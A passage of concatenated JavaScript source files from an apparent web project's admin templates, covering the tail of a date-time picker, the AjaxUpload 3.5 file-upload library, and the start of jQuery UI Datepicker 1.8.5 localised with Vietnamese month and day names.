strDate = exDateTime.substring(Sp1 + 1, Sp2);
strYear = exDateTime.substring(Sp2 + 1, Sp2 + 5);
}
}
else if (Cal.Format.toUpperCase() === "YYYYMMDD" || Cal.Format.toUpperCase() === "YYYYMMMDD")
{
if (DateSeparator === ""){
strMonth = exDateTime.substring(4, 6 + offset);
strDate = exDateTime.substring(6 + offset, 8 + offset);
strYear = exDateTime.substring(0, 4);
}
else{
strMonth = exDateTime.substring(Sp1 + 1, Sp2);
strDate = exDateTime.substring(Sp2 + 1, Sp2 + 3);
strYear = exDateTime.substring(0, Sp1);
}
}
else if (Cal.Format.toUpperCase() === "YYMMDD" || Cal.Format.toUpperCase() === "YYMMMDD")
{
if (DateSeparator === "")
{
strMonth = exDateTime.substring(2, 4 + offset);
strDate = exDateTime.substring(4 + offset, 6 + offset);
strYear = exDateTime.substring(0, 2);
}
else
{
strMonth = exDateTime.substring(Sp1 + 1, Sp2);
strDate = exDateTime.substring(Sp2 + 1, Sp2 + 3);
strYear = exDateTime.substring(0, Sp1);
}
}
if (isNaN(strMonth)){
intMonth = Cal.GetMonthIndex(strMonth);
}
else{
intMonth = parseInt(strMonth, 10) - 1;
}
if ((parseInt(intMonth, 10) >= 0) && (parseInt(intMonth, 10) < 12)) {
Cal.Month = intMonth;
}
//end parse month
//parse year
YearPattern = /^\d{4}$/;
if (YearPattern.test(strYear)) {
if ((parseInt(strYear, 10)>=StartYear) && (parseInt(strYear, 10)<= (dtToday.getFullYear()+EndYear)))
Cal.Year = parseInt(strYear, 10);
}
//end parse year
//parse Date
if ((parseInt(strDate, 10) <= Cal.GetMonDays()) && (parseInt(strDate, 10) >= 1)) {
Cal.Date = strDate;
}
//end parse Date
//parse time
if (Cal.ShowTime === true)
{
//parse AM or PM
if (TimeMode === 12)
{
strAMPM = exDateTime.substring(exDateTime.length - 2, exDateTime.length);
Cal.AMorPM = strAMPM;
}
tSp1 = exDateTime.indexOf(":", 0);
tSp2 = exDateTime.indexOf(":", (parseInt(tSp1, 10) + 1));
if (tSp1 > 0)
{
strHour = exDateTime.substring(tSp1, tSp1 - 2);
Cal.SetHour(strHour);
strMinute = exDateTime.substring(tSp1 + 1, tSp1 + 3);
Cal.SetMinute(strMinute);
strSecond = exDateTime.substring(tSp2 + 1, tSp2 + 3);
Cal.SetSecond(strSecond);
}
else if (exDateTime.indexOf("D*") !== -1)
{ //DTG
strHour = exDateTime.substring(2, 4);
Cal.SetHour(strHour);
strMinute = exDateTime.substring(4, 6);
Cal.SetMinute(strMinute);
}
}
}
selDate = new Date(Cal.Year, Cal.Month, Cal.Date);//version 1.7
RenderCssCal(true);
}
function closewin(id) {
if (Cal.ShowTime === true) {
var MaxYear = dtToday.getFullYear() + EndYear;
var beforeToday =
(Cal.Date < dtToday.getDate()) &&
(Cal.Month === dtToday.getMonth()) &&
(Cal.Year === dtToday.getFullYear())
||
(Cal.Month < dtToday.getMonth()) &&
(Cal.Year === dtToday.getFullYear())
||
(Cal.Year < dtToday.getFullYear());
if ((Cal.Year <= MaxYear) && (Cal.Year >= StartYear) && (Cal.Month === selDate.getMonth()) && (Cal.Year === selDate.getFullYear())) {
if (DisableBeforeToday === true) {
if (beforeToday === false) {
callback(id, Cal.FormatDate(Cal.Date));
}
}
else
callback(id, Cal.FormatDate(Cal.Date));
}
}
var CalId = document.getElementById(id);
CalId.focus();
winCal.style.visibility = 'hidden';
}
function changeBorder(element, col, oldBgColor)
{
if (col === 0)
{
element.style.background = HoverColor;
element.style.borderColor = "black";
element.style.cursor = "pointer";
}
else
{
if (oldBgColor)
{
element.style.background = oldBgColor;
}
else
{
element.style.background = "white";
}
element.style.borderColor = "white";
element.style.cursor = "auto";
}
}
function selectDate(element, date) {
Cal.Date = date;
selDate = new Date(Cal.Year, Cal.Month, Cal.Date);
element.style.background = SelDateColor;
RenderCssCal();
}
function pickIt(evt)
{
var objectID,
dom,
de,
b;
// accesses the element that generates the event and retrieves its ID
if (document.addEventListener)
{ // w3c
objectID = evt.target.id;
if (objectID.indexOf(calSpanID) !== -1)
{
dom = document.getElementById(objectID);
cnLeft = evt.pageX;
cnTop = evt.pageY;
if (dom.offsetLeft)
{
cnLeft = (cnLeft - dom.offsetLeft);
cnTop = (cnTop - dom.offsetTop);
}
}
// get mouse position on click
xpos = (evt.pageX);
ypos = (evt.pageY);
}
else
{ // IE
objectID = event.srcElement.id;
cnLeft = event.offsetX;
cnTop = (event.offsetY);
// get mouse position on click
de = document.documentElement;
b = document.body;
xpos = event.clientX + (de.scrollLeft || b.scrollLeft) - (de.clientLeft || 0);
ypos = event.clientY + (de.scrollTop || b.scrollTop) - (de.clientTop || 0);
}
// verify if this is a valid element to pick
if (objectID.indexOf(calSpanID) !== -1)
{
domStyle = document.getElementById(objectID).style;
}
if (domStyle)
{
domStyle.zIndex = 100;
return false;
}
else
{
domStyle = null;
return;
}
}
function dragIt(evt)
{
if (domStyle)
{
if (document.addEventListener)
{ //for IE
domStyle.left = (event.clientX - cnLeft + document.body.scrollLeft) + 'px';
domStyle.top = (event.clientY - cnTop + document.body.scrollTop) + 'px';
}
else
{ //Firefox
domStyle.left = (evt.clientX - cnLeft + document.body.scrollLeft) + 'px';
domStyle.top = (evt.clientY - cnTop + document.body.scrollTop) + 'px';
}
}
}
// performs a single increment or decrement
function nextStep(whatSpinner, direction)
{
if (whatSpinner === "Hour")
{
if (direction === "plus")
{
Cal.SetHour(Cal.Hours + 1);
RenderCssCal();
}
else if (direction === "minus")
{
Cal.SetHour(Cal.Hours - 1);
RenderCssCal();
}
}
else if (whatSpinner === "Minute")
{
if (direction === "plus")
{
Cal.SetMinute(parseInt(Cal.Minutes, 10) + 1);
RenderCssCal();
}
else if (direction === "minus")
{
Cal.SetMinute(parseInt(Cal.Minutes, 10) - 1);
RenderCssCal();
}
}
}
// starts the time spinner
function startSpin(whatSpinner, direction)
{
document.thisLoop = setInterval(function ()
{
nextStep(whatSpinner, direction);
}, 125); //125 ms
}
//stops the time spinner
function stopSpin()
{
clearInterval(document.thisLoop);
}
function dropIt()
{
stopSpin();
if (domStyle)
{
domStyle = null;
}
}
// Default events configuration
document.onmousedown = pickIt;
document.onmousemove = dragIt;
document.onmouseup = dropIt;
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/js/datetimepicker_css.js | JavaScript | asf20 | 44,002 |
/**
* Ajax upload
* Project page - http://valums.com/ajax-upload/
* Copyright (c) 2008 Andris Valums, http://valums.com
* Licensed under the MIT license (http://valums.com/mit-license/)
* Version 3.5 (23.06.2009)
*/
/**
* Changes from the previous version:
* 1. Added better JSON handling that allows to use 'application/javascript' as a response
* 2. Added demo for usage with jQuery UI dialog
* 3. Fixed IE "mixed content" issue when used with secure connections
*
* For the full changelog please visit:
* http://valums.com/ajax-upload-changelog/
*/
(function(){
var d = document, w = window;
/**
* Get element by id
*/
function get(element){
if (typeof element == "string")
element = d.getElementById(element);
return element;
}
/**
* Attaches event to a dom element
*/
function addEvent(el, type, fn){
if (w.addEventListener){
el.addEventListener(type, fn, false);
} else if (w.attachEvent){
var f = function(){
fn.call(el, w.event);
};
el.attachEvent('on' + type, f)
}
}
/**
* Creates and returns element from html chunk
*/
var toElement = function(){
var div = d.createElement('div');
return function(html){
div.innerHTML = html;
var el = div.childNodes[0];
div.removeChild(el);
return el;
}
}();
function hasClass(ele,cls){
return ele.className.match(new RegExp('(\\s|^)'+cls+'(\\s|$)'));
}
function addClass(ele,cls) {
if (!hasClass(ele,cls)) ele.className += " "+cls;
}
function removeClass(ele,cls) {
var reg = new RegExp('(\\s|^)'+cls+'(\\s|$)');
ele.className=ele.className.replace(reg,' ');
}
// getOffset function copied from jQuery lib (http://jquery.com/)
if (document.documentElement["getBoundingClientRect"]){
// Get Offset using getBoundingClientRect
// http://ejohn.org/blog/getboundingclientrect-is-awesome/
var getOffset = function(el){
var box = el.getBoundingClientRect(),
doc = el.ownerDocument,
body = doc.body,
docElem = doc.documentElement,
// for ie
clientTop = docElem.clientTop || body.clientTop || 0,
clientLeft = docElem.clientLeft || body.clientLeft || 0,
// In Internet Explorer 7 getBoundingClientRect property is treated as physical,
// while others are logical. Make all logical, like in IE8.
zoom = 1;
if (body.getBoundingClientRect) {
var bound = body.getBoundingClientRect();
zoom = (bound.right - bound.left)/body.clientWidth;
}
if (zoom > 1){
clientTop = 0;
clientLeft = 0;
}
var top = box.top/zoom + (window.pageYOffset || docElem && docElem.scrollTop/zoom || body.scrollTop/zoom) - clientTop,
left = box.left/zoom + (window.pageXOffset|| docElem && docElem.scrollLeft/zoom || body.scrollLeft/zoom) - clientLeft;
return {
top: top,
left: left
};
}
} else {
// Get offset adding all offsets
var getOffset = function(el){
if (w.jQuery){
return jQuery(el).offset();
}
var top = 0, left = 0;
do {
top += el.offsetTop || 0;
left += el.offsetLeft || 0;
}
while (el = el.offsetParent);
return {
left: left,
top: top
};
}
}
function getBox(el){
var left, right, top, bottom;
var offset = getOffset(el);
left = offset.left;
top = offset.top;
right = left + el.offsetWidth;
bottom = top + el.offsetHeight;
return {
left: left,
right: right,
top: top,
bottom: bottom
};
}
/**
* Crossbrowser mouse coordinates
*/
function getMouseCoords(e){
// pageX/Y is not supported in IE
// http://www.quirksmode.org/dom/w3c_cssom.html
if (!e.pageX && e.clientX){
// In Internet Explorer 7 some properties (mouse coordinates) are treated as physical,
// while others are logical (offset).
var zoom = 1;
var body = document.body;
if (body.getBoundingClientRect) {
var bound = body.getBoundingClientRect();
zoom = (bound.right - bound.left)/body.clientWidth;
}
return {
x: e.clientX / zoom + d.body.scrollLeft + d.documentElement.scrollLeft,
y: e.clientY / zoom + d.body.scrollTop + d.documentElement.scrollTop
};
}
return {
x: e.pageX,
y: e.pageY
};
}
/**
* Function generates unique id
*/
var getUID = function(){
var id = 0;
return function(){
return 'ValumsAjaxUpload' + id++;
}
}();
function fileFromPath(file){
return file.replace(/.*(\/|\\)/, "");
}
function getExt(file){
return (/[.]/.exec(file)) ? /[^.]+$/.exec(file.toLowerCase()) : '';
}
// Please use AjaxUpload , Ajax_upload will be removed in the next version
Ajax_upload = AjaxUpload = function(button, options){
if (button.jquery){
// jquery object was passed
button = button[0];
} else if (typeof button == "string" && /^#.*/.test(button)){
button = button.slice(1);
}
button = get(button);
this._input = null;
this._button = button;
this._disabled = false;
this._submitting = false;
// Variable changes to true if the button was clicked
// 3 seconds ago (requred to fix Safari on Mac error)
this._justClicked = false;
this._parentDialog = d.body;
if (window.jQuery && jQuery.ui && jQuery.ui.dialog){
var parentDialog = jQuery(this._button).parents('.ui-dialog');
if (parentDialog.length){
this._parentDialog = parentDialog[0];
}
}
this._settings = {
// Location of the server-side upload script
action: 'upload.php',
// File upload name
name: 'userfile',
// Additional data to send
data: {},
// Submit file as soon as it's selected
autoSubmit: true,
// The type of data that you're expecting back from the server.
// Html and xml are detected automatically.
// Only useful when you are using json data as a response.
// Set to "json" in that case.
responseType: false,
// When user selects a file, useful with autoSubmit disabled
onChange: function(file, extension){},
// Callback to fire before file is uploaded
// You can return false to cancel upload
onSubmit: function(file, extension){},
// Fired when file upload is completed
// WARNING! DO NOT USE "FALSE" STRING AS A RESPONSE!
onComplete: function(file, response) {}
};
// Merge the users options with our defaults
for (var i in options) {
this._settings[i] = options[i];
}
this._createInput();
this._rerouteClicks();
}
// assigning methods to our class
AjaxUpload.prototype = {
setData : function(data){
this._settings.data = data;
},
disable : function(){
this._disabled = true;
},
enable : function(){
this._disabled = false;
},
// removes ajaxupload
destroy : function(){
if(this._input){
if(this._input.parentNode){
this._input.parentNode.removeChild(this._input);
}
this._input = null;
}
},
/**
* Creates invisible file input above the button
*/
_createInput : function(){
var self = this;
var input = d.createElement("input");
input.setAttribute('type', 'file');
input.setAttribute('name', this._settings.name);
var styles = {
'position' : 'absolute'
,'margin': '-5px 0 0 -175px'
,'padding': 0
,'width': '220px'
,'height': '30px'
,'fontSize': '14px'
,'opacity': 0
,'cursor': 'pointer'
,'display' : 'none'
,'zIndex' : 2147483583 //Max zIndex supported by Opera 9.0-9.2x
// Strange, I expected 2147483647
};
for (var i in styles){
input.style[i] = styles[i];
}
// Make sure that element opacity exists
// (IE uses filter instead)
if ( ! (input.style.opacity === "0")){
input.style.filter = "alpha(opacity=0)";
}
this._parentDialog.appendChild(input);
addEvent(input, 'change', function(){
// get filename from input
var file = fileFromPath(this.value);
if(self._settings.onChange.call(self, file, getExt(file)) == false ){
return;
}
// Submit form when value is changed
if (self._settings.autoSubmit){
self.submit();
}
});
// Fixing problem with Safari
// The problem is that if you leave input before the file select dialog opens
// it does not upload the file.
// As dialog opens slowly (it is a sheet dialog which takes some time to open)
// there is some time while you can leave the button.
// So we should not change display to none immediately
addEvent(input, 'click', function(){
self.justClicked = true;
setTimeout(function(){
// we will wait 3 seconds for dialog to open
self.justClicked = false;
}, 3000);
});
this._input = input;
},
_rerouteClicks : function (){
var self = this;
// IE displays 'access denied' error when using this method
// other browsers just ignore click()
// addEvent(this._button, 'click', function(e){
// self._input.click();
// });
var box, dialogOffset = {top:0, left:0}, over = false;
addEvent(self._button, 'mouseover', function(e){
if (!self._input || over) return;
over = true;
box = getBox(self._button);
if (self._parentDialog != d.body){
dialogOffset = getOffset(self._parentDialog);
}
});
// we can't use mouseout on the button,
// because invisible input is over it
addEvent(document, 'mousemove', function(e){
var input = self._input;
if (!input || !over) return;
if (self._disabled){
removeClass(self._button, 'hover');
input.style.display = 'none';
return;
}
var c = getMouseCoords(e);
if ((c.x >= box.left) && (c.x <= box.right) &&
(c.y >= box.top) && (c.y <= box.bottom)){
input.style.top = c.y - dialogOffset.top + 'px';
input.style.left = c.x - dialogOffset.left + 'px';
input.style.display = 'block';
addClass(self._button, 'hover');
} else {
// mouse left the button
over = false;
if (!self.justClicked){
input.style.display = 'none';
}
removeClass(self._button, 'hover');
}
});
},
/**
* Creates iframe with unique name
*/
_createIframe : function(){
// unique name
// We cannot use getTime, because it sometimes return
// same value in safari :(
var id = getUID();
// Remove ie6 "This page contains both secure and nonsecure items" prompt
// http://tinyurl.com/77w9wh
var iframe = toElement('<iframe src="javascript:false;" name="' + id + '" />');
iframe.id = id;
iframe.style.display = 'none';
d.body.appendChild(iframe);
return iframe;
},
/**
* Upload file without refreshing the page
*/
submit : function(){
var self = this, settings = this._settings;
if (this._input.value === ''){
// there is no file
return;
}
// get filename from input
var file = fileFromPath(this._input.value);
// execute user event
if (! (settings.onSubmit.call(this, file, getExt(file)) == false)) {
// Create new iframe for this submission
var iframe = this._createIframe();
// Do not submit if user function returns false
var form = this._createForm(iframe);
form.appendChild(this._input);
form.submit();
d.body.removeChild(form);
form = null;
this._input = null;
// create new input
this._createInput();
var toDeleteFlag = false;
addEvent(iframe, 'load', function(e){
if (// For Safari
iframe.src == "javascript:'%3Chtml%3E%3C/html%3E';" ||
// For FF, IE
iframe.src == "javascript:'<html></html>';"){
// First time around, do not delete.
if( toDeleteFlag ){
// Fix busy state in FF3
setTimeout( function() {
d.body.removeChild(iframe);
}, 0);
}
return;
}
var doc = iframe.contentDocument ? iframe.contentDocument : frames[iframe.id].document;
// fixing Opera 9.26
if (doc.readyState && doc.readyState != 'complete'){
// Opera fires load event multiple times
// Even when the DOM is not ready yet
// this fix should not affect other browsers
return;
}
// fixing Opera 9.64
if (doc.body && doc.body.innerHTML == "false"){
// In Opera 9.64 event was fired second time
// when body.innerHTML changed from false
// to server response approx. after 1 sec
return;
}
var response;
if (doc.XMLDocument){
// response is a xml document IE property
response = doc.XMLDocument;
} else if (doc.body){
// response is html document or plain text
response = doc.body.innerHTML;
if (settings.responseType && settings.responseType.toLowerCase() == 'json'){
// If the document was sent as 'application/javascript' or
// 'text/javascript', then the browser wraps the text in a <pre>
// tag and performs html encoding on the contents. In this case,
// we need to pull the original text content from the text node's
// nodeValue property to retrieve the unmangled content.
// Note that IE6 only understands text/html
if (doc.body.firstChild && doc.body.firstChild.nodeName.toUpperCase() == 'PRE'){
response = doc.body.firstChild.firstChild.nodeValue;
}
if (response) {
response = window["eval"]("(" + response + ")");
} else {
response = {};
}
}
} else {
// response is a xml document
var response = doc;
}
settings.onComplete.call(self, file, response);
// Reload blank page, so that reloading main page
// does not re-submit the post. Also, remember to
// delete the frame
toDeleteFlag = true;
// Fix IE mixed content issue
iframe.src = "javascript:'<html></html>';";
});
} else {
// clear input to allow user to select same file
// Doesn't work in IE6
// this._input.value = '';
d.body.removeChild(this._input);
this._input = null;
// create new input
this._createInput();
}
},
/**
* Creates form, that will be submitted to iframe
*/
_createForm : function(iframe){
var settings = this._settings;
// method, enctype must be specified here
// because changing this attr on the fly is not allowed in IE 6/7
var form = toElement('<form method="post" enctype="multipart/form-data"></form>');
form.style.display = 'none';
form.action = settings.action;
form.target = iframe.name;
d.body.appendChild(form);
// Create hidden input element for each data key
for (var prop in settings.data){
var el = d.createElement("input");
el.type = 'hidden';
el.name = prop;
el.value = settings.data[prop];
form.appendChild(el);
}
return form;
}
};
})(); | 123gosaigon | trunk/ 123gosaigon/webadmin/templates/js/ajaxupload.js | JavaScript | asf20 | 18,701 |
/*
* jQuery UI Datepicker 1.8.5
*
* Copyright 2010, AUTHORS.txt (http://jqueryui.com/about)
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* http://docs.jquery.com/UI/Datepicker
*
* Depends:
* jquery.ui.core.js
*/
(function( $, undefined ) {
$.extend($.ui, { datepicker: { version: "1.8.5" } });
var PROP_NAME = 'datepicker';
var dpuuid = new Date().getTime();
/* Date picker manager.
Use the singleton instance of this class, $.datepicker, to interact with the date picker.
Settings for (groups of) date pickers are maintained in an instance object,
allowing multiple different settings on the same page. */
function Datepicker() {
this.debug = false; // Change this to true to start debugging
this._curInst = null; // The current instance in use
this._keyEvent = false; // If the last event was a key event
this._disabledInputs = []; // List of date picker inputs that have been disabled
this._datepickerShowing = false; // True if the popup picker is showing , false if not
this._inDialog = false; // True if showing within a "dialog", false if not
this._mainDivId = 'ui-datepicker-div'; // The ID of the main datepicker division
this._inlineClass = 'ui-datepicker-inline'; // The name of the inline marker class
this._appendClass = 'ui-datepicker-append'; // The name of the append marker class
this._triggerClass = 'ui-datepicker-trigger'; // The name of the trigger marker class
this._dialogClass = 'ui-datepicker-dialog'; // The name of the dialog marker class
this._disableClass = 'ui-datepicker-disabled'; // The name of the disabled covering marker class
this._unselectableClass = 'ui-datepicker-unselectable'; // The name of the unselectable cell marker class
this._currentClass = 'ui-datepicker-current-day'; // The name of the current day marker class
this._dayOverClass = 'ui-datepicker-days-cell-over'; // The name of the day hover marker class
this.regional = []; // Available regional settings, indexed by language code
this.regional[''] = { // Default regional settings
closeText: 'Done', // Display text for close link
prevText: '', // Display text for previous month link
nextText: '', // Display text for next month link
currentText: 'Today', // Display text for current month link
monthNames: ['January','February','March','April','May','June',
'July','August','September','October','November','December'], // Names of months for drop-down and formatting
monthNamesShort: ['Tháng 1', 'Tháng 2', 'Tháng 3', 'Tháng 4', 'Tháng 5', 'Tháng 6', 'Tháng 7', 'Tháng 8', 'Tháng 9', 'Tháng 10', 'Tháng 11', 'Tháng 12'], // For formatting
dayNames: ['CN', 'T2', 'T3', 'T4', 'T5', 'T6', 'T7'], // For formatting
dayNamesShort: ['CN', 'T2', 'T3', 'T4', 'T5', 'T6', 'T7'], // For formatting
dayNamesMin: ['CN', 'T2', 'T3', 'T4', 'T5', 'T6', 'T7'], // Column headings for days starting at Sunday
weekHeader: 'Wk', // Column header for week of the year
dateFormat: 'yy/mm/dd', // See format options on parseDate
firstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ...
isRTL: false, // True if right-to-left language, false if left-to-right
showMonthAfterYear: false, // True if the year select precedes month, false for month then year
yearSuffix: '' // Additional text to append to the year in the month headers
};
this._defaults = { // Global defaults for all the date picker instances
showOn: 'focus', // 'focus' for popup on focus,
// 'button' for trigger button, or 'both' for either
showAnim: 'fadeIn', // Name of jQuery animation for popup
showOptions: {}, // Options for enhanced animations
defaultDate: null, // Used when field is blank: actual date,
// +/-number for offset from today, null for today
appendText: '', // Display text following the input box, e.g. showing the format
buttonText: '...', // Text for trigger button
buttonImage: '', // URL for trigger button image
buttonImageOnly: false, // True if the image appears alone, false if it appears on a button
hideIfNoPrevNext: false, // True to hide next/previous month links
// if not applicable, false to just disable them
navigationAsDateFormat: false, // True if date formatting applied to prev/today/next links
gotoCurrent: false, // True if today link goes back to current selection instead
changeMonth: false, // True if month can be selected directly, false if only prev/next
changeYear: false, // True if year can be selected directly, false if only prev/next
yearRange: 'c-10:c+10', // Range of years to display in drop-down,
// either relative to today's year (-nn:+nn), relative to currently displayed year
// (c-nn:c+nn), absolute (nnnn:nnnn), or a combination of the above (nnnn:-n)
showOtherMonths: false, // True to show dates in other months, false to leave blank
selectOtherMonths: false, // True to allow selection of dates in other months, false for unselectable
showWeek: false, // True to show week of the year, false to not show it
calculateWeek: this.iso8601Week, // How to calculate the week of the year,
// takes a Date and returns the number of the week for it
shortYearCutoff: '+10', // Short year values < this are in the current century,
// > this are in the previous century,
// string value starting with '+' for current year + value
minDate: null, // The earliest selectable date, or null for no limit
maxDate: null, // The latest selectable date, or null for no limit
duration: 'fast', // Duration of display/closure
beforeShowDay: null, // Function that takes a date and returns an array with
// [0] = true if selectable, false if not, [1] = custom CSS class name(s) or '',
// [2] = cell title (optional), e.g. $.datepicker.noWeekends
beforeShow: null, // Function that takes an input field and
// returns a set of custom settings for the date picker
onSelect: null, // Define a callback function when a date is selected
onChangeMonthYear: null, // Define a callback function when the month or year is changed
onClose: null, // Define a callback function when the datepicker is closed
numberOfMonths: 1, // Number of months to show at a time
showCurrentAtPos: 0, // The position in multipe months at which to show the current month (starting at 0)
stepMonths: 1, // Number of months to step back/forward
stepBigMonths: 12, // Number of months to step back/forward for the big links
altField: '', // Selector for an alternate field to store selected dates into
altFormat: '', // The date format to use for the alternate field
constrainInput: true, // The input is constrained by the current date format
showButtonPanel: false, // True to show button panel, false to not show it
autoSize: false // True to size the input for the date format, false to leave as is
};
$.extend(this._defaults, this.regional['']);
this.dpDiv = $('<div id="' + this._mainDivId + '" class="ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all ui-helper-hidden-accessible"></div>');
}
$.extend(Datepicker.prototype, {
/* Class name added to elements to indicate already configured with a date picker. */
markerClassName: 'hasDatepicker',
/* Debug logging (if enabled). */
log: function () {
if (this.debug)
console.log.apply('', arguments);
},
// TODO rename to "widget" when switching to widget factory
_widgetDatepicker: function() {
return this.dpDiv;
},
/* Override the default settings for all instances of the date picker.
@param settings object - the new settings to use as defaults (anonymous object)
@return the manager object */
setDefaults: function(settings) {
extendRemove(this._defaults, settings || {});
return this;
},
/* Attach the date picker to a jQuery selection.
@param target element - the target input field or division or span
@param settings object - the new settings to use for this date picker instance (anonymous) */
_attachDatepicker: function(target, settings) {
// check for settings on the control itself - in namespace 'date:'
var inlineSettings = null;
for (var attrName in this._defaults) {
var attrValue = target.getAttribute('date:' + attrName);
if (attrValue) {
inlineSettings = inlineSettings || {};
try {
inlineSettings[attrName] = eval(attrValue);
} catch (err) {
inlineSettings[attrName] = attrValue;
}
}
}
var nodeName = target.nodeName.toLowerCase();
var inline = (nodeName == 'div' || nodeName == 'span');
if (!target.id) {
this.uuid += 1;
target.id = 'dp' + this.uuid;
}
var inst = this._newInst($(target), inline);
inst.settings = $.extend({}, settings || {}, inlineSettings || {});
if (nodeName == 'input') {
this._connectDatepicker(target, inst);
} else if (inline) {
this._inlineDatepicker(target, inst);
}
},
/* Create a new instance object. */
_newInst: function(target, inline) {
var id = target[0].id.replace(/([^A-Za-z0-9_])/g, '\\\\$1'); // escape jQuery meta chars
return {id: id, input: target, // associated target
selectedDay: 0, selectedMonth: 0, selectedYear: 0, // current selection
drawMonth: 0, drawYear: 0, // month being drawn
inline: inline, // is datepicker inline or not
dpDiv: (!inline ? this.dpDiv : // presentation div
$('<div class="' + this._inlineClass + ' ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all"></div>'))};
},
/* Attach the date picker to an input field. */
_connectDatepicker: function(target, inst) {
var input = $(target);
inst.append = $([]);
inst.trigger = $([]);
if (input.hasClass(this.markerClassName))
return;
this._attachments(input, inst);
input.addClass(this.markerClassName).keydown(this._doKeyDown).
keypress(this._doKeyPress).keyup(this._doKeyUp).
bind("setData.datepicker", function(event, key, value) {
inst.settings[key] = value;
}).bind("getData.datepicker", function(event, key) {
return this._get(inst, key);
});
this._autoSize(inst);
$.data(target, PROP_NAME, inst);
},
/* Make attachments based on settings. */
_attachments: function(input, inst) {
var appendText = this._get(inst, 'appendText');
var isRTL = this._get(inst, 'isRTL');
if (inst.append)
inst.append.remove();
if (appendText) {
inst.append = $('<span class="' + this._appendClass + '">' + appendText + '</span>');
input[isRTL ? 'before' : 'after'](inst.append);
}
input.unbind('focus', this._showDatepicker);
if (inst.trigger)
inst.trigger.remove();
var showOn = this._get(inst, 'showOn');
if (showOn == 'focus' || showOn == 'both') // pop-up date picker when in the marked field
input.focus(this._showDatepicker);
if (showOn == 'button' || showOn == 'both') { // pop-up date picker when button clicked
var buttonText = this._get(inst, 'buttonText');
var buttonImage = this._get(inst, 'buttonImage');
inst.trigger = $(this._get(inst, 'buttonImageOnly') ?
$('<img/>').addClass(this._triggerClass).
attr({ src: buttonImage, alt: buttonText, title: buttonText }) :
$('<button type="button"></button>').addClass(this._triggerClass).
html(buttonImage == '' ? buttonText : $('<img/>').attr(
{ src:buttonImage, alt:buttonText, title:buttonText })));
input[isRTL ? 'before' : 'after'](inst.trigger);
inst.trigger.click(function() {
if ($.datepicker._datepickerShowing && $.datepicker._lastInput == input[0])
$.datepicker._hideDatepicker();
else
$.datepicker._showDatepicker(input[0]);
return false;
});
}
},
/* Apply the maximum length for the date format. */
_autoSize: function(inst) {
if (this._get(inst, 'autoSize') && !inst.inline) {
var date = new Date(2009, 12 - 1, 20); // Ensure double digits
var dateFormat = this._get(inst, 'dateFormat');
if (dateFormat.match(/[DM]/)) {
var findMax = function(names) {
var max = 0;
var maxI = 0;
for (var i = 0; i < names.length; i++) {
if (names[i].length > max) {
max = names[i].length;
maxI = i;
}
}
return maxI;
};
date.setMonth(findMax(this._get(inst, (dateFormat.match(/MM/) ?
'monthNames' : 'monthNamesShort'))));
date.setDate(findMax(this._get(inst, (dateFormat.match(/DD/) ?
'dayNames' : 'dayNamesShort'))) + 20 - date.getDay());
}
inst.input.attr('size', this._formatDate(inst, date).length);
}
},
/* Attach an inline date picker to a div. */
_inlineDatepicker: function(target, inst) {
var divSpan = $(target);
if (divSpan.hasClass(this.markerClassName))
return;
divSpan.addClass(this.markerClassName).append(inst.dpDiv).
bind("setData.datepicker", function(event, key, value){
inst.settings[key] = value;
}).bind("getData.datepicker", function(event, key){
return this._get(inst, key);
});
$.data(target, PROP_NAME, inst);
this._setDate(inst, this._getDefaultDate(inst), true);
this._updateDatepicker(inst);
this._updateAlternate(inst);
},
/* Pop-up the date picker in a "dialog" box.
@param input element - ignored
@param date string or Date - the initial date to display
@param onSelect function - the function to call when a date is selected
@param settings object - update the dialog date picker instance's settings (anonymous object)
@param pos int[2] - coordinates for the dialog's position within the screen or
event - with x/y coordinates or
leave empty for default (screen centre)
@return the manager object */
_dialogDatepicker: function(input, date, onSelect, settings, pos) {
var inst = this._dialogInst; // internal instance
if (!inst) {
this.uuid += 1;
var id = 'dp' + this.uuid;
this._dialogInput = $('<input type="text" id="' + id +
'" style="position: absolute; top: -100px; width: 0px; z-index: -10;"/>');
this._dialogInput.keydown(this._doKeyDown);
$('body').append(this._dialogInput);
inst = this._dialogInst = this._newInst(this._dialogInput, false);
inst.settings = {};
$.data(this._dialogInput[0], PROP_NAME, inst);
}
extendRemove(inst.settings, settings || {});
date = (date && date.constructor == Date ? this._formatDate(inst, date) : date);
this._dialogInput.val(date);
this._pos = (pos ? (pos.length ? pos : [pos.pageX, pos.pageY]) : null);
if (!this._pos) {
var browserWidth = document.documentElement.clientWidth;
var browserHeight = document.documentElement.clientHeight;
var scrollX = document.documentElement.scrollLeft || document.body.scrollLeft;
var scrollY = document.documentElement.scrollTop || document.body.scrollTop;
this._pos = // should use actual width/height below
[(browserWidth / 2) - 100 + scrollX, (browserHeight / 2) - 150 + scrollY];
}
// move input on screen for focus, but hidden behind dialog
this._dialogInput.css('left', (this._pos[0] + 20) + 'px').css('top', this._pos[1] + 'px');
inst.settings.onSelect = onSelect;
this._inDialog = true;
this.dpDiv.addClass(this._dialogClass);
this._showDatepicker(this._dialogInput[0]);
if ($.blockUI)
$.blockUI(this.dpDiv);
$.data(this._dialogInput[0], PROP_NAME, inst);
return this;
},
/* Detach a datepicker from its control.
@param target element - the target input field or division or span */
_destroyDatepicker: function(target) {
var $target = $(target);
var inst = $.data(target, PROP_NAME);
if (!$target.hasClass(this.markerClassName)) {
return;
}
var nodeName = target.nodeName.toLowerCase();
$.removeData(target, PROP_NAME);
if (nodeName == 'input') {
inst.append.remove();
inst.trigger.remove();
$target.removeClass(this.markerClassName).
unbind('focus', this._showDatepicker).
unbind('keydown', this._doKeyDown).
unbind('keypress', this._doKeyPress).
unbind('keyup', this._doKeyUp);
} else if (nodeName == 'div' || nodeName == 'span')
$target.removeClass(this.markerClassName).empty();
},
/* Enable the date picker to a jQuery selection.
@param target element - the target input field or division or span */
_enableDatepicker: function(target) {
var $target = $(target);
var inst = $.data(target, PROP_NAME);
if (!$target.hasClass(this.markerClassName)) {
return;
}
var nodeName = target.nodeName.toLowerCase();
if (nodeName == 'input') {
target.disabled = false;
inst.trigger.filter('button').
each(function() { this.disabled = false; }).end().
filter('img').css({opacity: '1.0', cursor: ''});
}
else if (nodeName == 'div' || nodeName == 'span') {
var inline = $target.children('.' + this._inlineClass);
